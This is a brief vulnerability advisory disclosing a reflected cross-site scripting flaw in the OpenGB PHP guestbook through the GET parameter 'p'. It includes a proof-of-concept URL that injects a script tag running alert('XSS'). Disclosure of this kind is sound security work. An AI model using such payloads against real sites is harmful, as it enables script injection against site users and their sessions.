`OpenGB version 1.2.3 Cross Site Scripting (XSS) Vulnerability
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Discovered by N_A, N_A[at]tutanota.com
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Description
============
A simple PHP MySQL website guestbook, user friendly and easily configurable. Features include administrator control panel, spam protection and IP address blocking. Please see http://opengb.googlecode.com for more information from the official website.
https://sourceforge.net/projects/opengb
Vulnerability
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OpenGB version <= 1.2.3 suffers from an XSS vulnerabilty from GET paramter 'p'.
The input is not sanitized and it is possible to execute an XSS attack.
Proof Of Concept
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http://127.0.0.1/gb/index.php?n=1&p=%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
Email
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N_A[at]tutanota.com
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